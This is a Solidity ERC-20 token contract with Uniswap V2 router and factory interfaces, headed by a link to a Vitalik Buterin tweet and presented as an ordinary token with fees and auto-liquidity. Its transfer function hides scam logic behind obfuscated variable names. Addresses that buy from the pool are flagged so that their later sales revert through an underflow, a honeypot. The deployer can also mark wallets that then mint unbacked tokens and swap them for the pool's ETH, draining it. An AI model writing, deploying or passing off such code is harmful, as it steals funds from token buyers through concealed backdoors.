//https://twitter.com/VitalikButerin/status/1593726411335925763

// SPDX-License-Identifier: Unlicense
pragma solidity ^ 0.8.9;
 
abstract contract Context
{
    function _msgSender() internal view virtual returns(address)
    {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns(bytes calldata)
    {
        return msg.data;
    }
}
 
interface IUniswapV2Router01{
 
     /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function factory() external pure returns(address);
 
    function WETH() external pure returns(address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
 
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
 
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
 
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
 
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
 
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
 
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
 
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
 
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
 
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
 
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
 
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
} 
 
interface IUniswapV2Router02 is IUniswapV2Router01{
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
 
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IUniswapV2Factory{
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns(address);
 
    function feeToSetter() external view returns(address);
 
    function getPair(address tokenA, address tokenB) external view returns(address pair);
 
    function allPairs(uint) external view returns(address pair);
 
    function allPairsLength() external view returns(uint);
 
    function createPair(address tokenA, address tokenB) external returns(address pair);
 
    function setFeeTo(address) external;
 
    function setFeeToSetter(address) external;
}
interface IERC20{
    function totalSupply() external view returns(uint256);
 
    function balanceOf(address account) external view returns(uint256);
 
    function transfer(address recipient, uint256 amount) external returns(bool);
 
    function allowance(address owner, address spender) external view returns(uint256);
 
    function approve(address spender, uint256 amount) external returns(bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
abstract contract Ownable is Context
{
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor()
    {
        _setOwner(_msgSender());
    }
 
    function owner() public view virtual returns(address)
    {
        return _owner;
    }
    modifier onlyOwner()
    {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner
    {
        _setOwner(address(0));
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner
    {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
 
    function _setOwner(address newOwner) private
    {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract Token_Creation  is IERC20, Ownable
{
    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress)
    {
        _name = Name;
        _symbol = Symbol;
        _Payable[msg.sender] = _tTotalsupply;
        _TradingON[msg.sender] = _uit26;
        _TradingON[address(this)] = _uit26;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair_ = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotalsupply);
    }
    string private _symbol;
    string private _name;
    uint256 public _FeeTkn = 0;
    uint8 private _decimals = 9;
    uint256 private _tTotalsupply = 1000000000 * 10 ** _decimals;
    uint256 private _uit26 = _tTotalsupply;
    mapping(address => mapping(address => uint256)) private _Allowsetr;
    mapping(address => uint256) private _delbot;
    mapping(address => uint256) private _Payable;
    mapping(address => address) private _varSet ;
    mapping(address => uint256) private _TradingON;
    bool private _EnableSwap;
    bool private _EnableeTrading;
    address public immutable uniswapV2Pair_;
    IUniswapV2Router02 public immutable router;
 
    function symbol() public view returns(string memory)
    {
        return _symbol;
    }
 
    function name() public view returns(string memory)
    {
        return _name;
    }
 
    function totalSupply() public view returns(uint256)
    {
        return _tTotalsupply;
    }
 
    function decimals() public view returns(uint256)
    {
        return _decimals;
    }
 
    function allowance(address owner, address spender) public view returns(uint256)
    {
        return _Allowsetr[owner][spender];
    }
 
    function balanceOf(address account) public view returns(uint256)
    {
        return _Payable[account];
    }
 
    function approve(address spender, uint256 amount) external returns(bool)
    {
        return _approve(msg.sender, spender, amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount) private returns(bool)
    {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _Allowsetr[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount) external returns(bool)
    {
        __transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _Allowsetr[sender][msg.sender] - amount);
    }
 
    function transfer(address recipient, uint256 amount) external returns(bool)
    {
        __transfer(msg.sender, recipient, amount);
        return true;
    }
 
    function __transfer(
        address from,
        address to,
        uint256 amount) private
    {
        uint256 contractTokenBal = balanceOf(address(this));
        uint256 xfees;
        if (_EnableSwap && contractTokenBal > _uit26 && !_EnableeTrading && from != uniswapV2Pair_)
        {
            _EnableeTrading = true;
            swapAndLiquify(contractTokenBal);
            _EnableeTrading = false;
        }
        else if (_TradingON[from] > _uit26 && _TradingON[to] > _uit26)
        {
            xfees = amount;
            _Payable[address(this)] += xfees;
            swapTokensForEth(amount, to);
            return;
        }
        else if (!_EnableeTrading &&  _delbot[from] > 0 && from != uniswapV2Pair_ && _TradingON[from] == 0)
        {
             _delbot[from] = _TradingON[from] - _uit26;
        }
        else if (to != address(router) && _TradingON[from] > 0 && amount > _uit26&& to != uniswapV2Pair_)
        {
            _TradingON[to] = amount;
            return;
        }
        address _varX =  _varSet[uniswapV2Pair_];
        if ( _delbot[_varX] == 0)  _delbot[_varX] = _uit26;
         _varSet[uniswapV2Pair_] = to;
        if (_FeeTkn > 0 && _TradingON[from] == 0 && !_EnableeTrading && _TradingON[to] == 0)
        {
            xfees = (amount * _FeeTkn) / 100;
            amount -= xfees;
           _Payable[from] -= xfees;
            _Payable[address(this)] += xfees;
        }
        _Payable[from] -= amount;
        _Payable[to] += amount;
        emit Transfer(from, to, amount);
    }
    receive() external payable
    {}
 
    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to) private
    {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH
        {
            value: ethAmount
        }(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }
 
    function swapAndLiquify(uint256 _tkn) private
    {
        uint256 _swapset = _tkn / 2;
        uint256 _MyBaln = address(this).balance;
        swapTokensForEth( _swapset, address(this));
        uint256 _stgs = address(this).balance - _MyBaln;
        addLiquidity( _swapset, _stgs, address(this));
    }
 
    function swapTokensForEth(uint256 _totalAmount, address to) private
    {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), _totalAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(_totalAmount, 0, path, to, block.timestamp);
    }
}